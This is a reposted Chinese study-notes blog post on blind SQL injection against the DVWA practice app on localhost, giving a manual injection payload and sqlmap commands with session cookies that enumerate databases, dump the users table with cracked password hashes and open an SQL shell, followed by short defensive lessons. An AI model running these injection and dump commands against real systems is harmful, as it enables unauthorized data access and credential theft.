zoukankan      html  css  js  c++  java
  • Web安全测试学习笔记-DVWA-盲注(使用sqlmap)

    转载自 Sally_Zhang

    之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息。而下面的页面,返回信息只有存在和不存在两种情况,错误信息页面也被屏蔽了,这种情况下我们能得到的信息很少,且需要自己判断注入是否成功,所以叫盲注(名字很形象啊~)

         

    盲注的注入方法,简单来说就一个字:猜 ...>_<.... 怎么猜呢?用猜数据库名称长度来举个栗子:

    输入:1' and length(database()) = 1 #

    输出:User ID is MISSING from the database

    根据输出,数据库名长度不为1,然后再猜测2,3,4。。。直到猜对为止,然后再来猜数据库名称的第一个字母,第二个字母。。。直到猜到数据库名称

    Hmmm...这样猜来猜去很费时间啊,这种事情是不是可以自动化一下,我都能想到,大神们早就想到了,就是这个工具:sqlmap

    1. sqlmap介绍

    这个工具是开源的,官网和github都可以下载。在使用之前,需要先安装python环境。以下是sqlmap的自我介绍

    2. sqlmap启动测试

    打开命令行工具,进入sqlmap解压后所在的文件夹,我的路径是E:...sqlmap,输入python sqlmap.py,看到如下信息说明sqlmap已经可以正常使用

    3. 用sqlmap获取所有数据库名称

    用F12看了下当前页面,这个页面是需要登录凭证的,所以使用sqlmap时也要带上登录凭证

     输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs

    输出:sqlmap拿到了所有数据库名称

    4. 用sqlmap获取当前数据库名称

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db

    输出:当前数据库名称为dvwa

     5. 用sqlmap获取当前数据库中的所有表名

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables

    输出:表名为guestbook和users

    6. 用sqlmap获取users表中的所有数据

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users  --dump

    输出:拿到表中所有数据, 还把密码给破解了。。。不要太贴心啊~

    Mysql的默认密码加密方式其实就是SHA1,如果你密码不幸忘了,网上有在线解密网站 >_< 

     7. 运行sql语句

    如果还想查看数据库中其他表的数据,sqlmap还支持运行自定义sql语句(只支持查询语句)

    输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=5dge4nuta0ongp0luebulu4jd6; security=low" --sql-shell

    直接输入sql查询语句:

     

    一点点感悟:

    1. 敏感信息不要用太简单的加密算法,很容易被破解。。。

    2. 用cookie存储登录凭证有风险,或者说会增加风险

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    如何锻炼出最牛程序员的编码套路
    如果仔细观察他们,你会发现他们时时都在锻炼
    单纯地每天埋头于工作并不能算是真正意义上的锻炼
    把全世界的人们都联系在一起,提升人们的社交参与度
    HTML5十五大新特性
    html5的八大特性
    【贪心】【二维偏序】【权值分块】bzoj1691 [Usaco2007 Dec]挑剔的美食家
    【分块】【链表】bzoj2738 矩阵乘法
    【分块】bzoj3343 教主的魔法
    【线段树】bzoj3747 [POI2015]Kinoman
  • 原文地址:https://www.cnblogs.com/hack747/p/14733976.html
Copyright © 2011-2022 走看看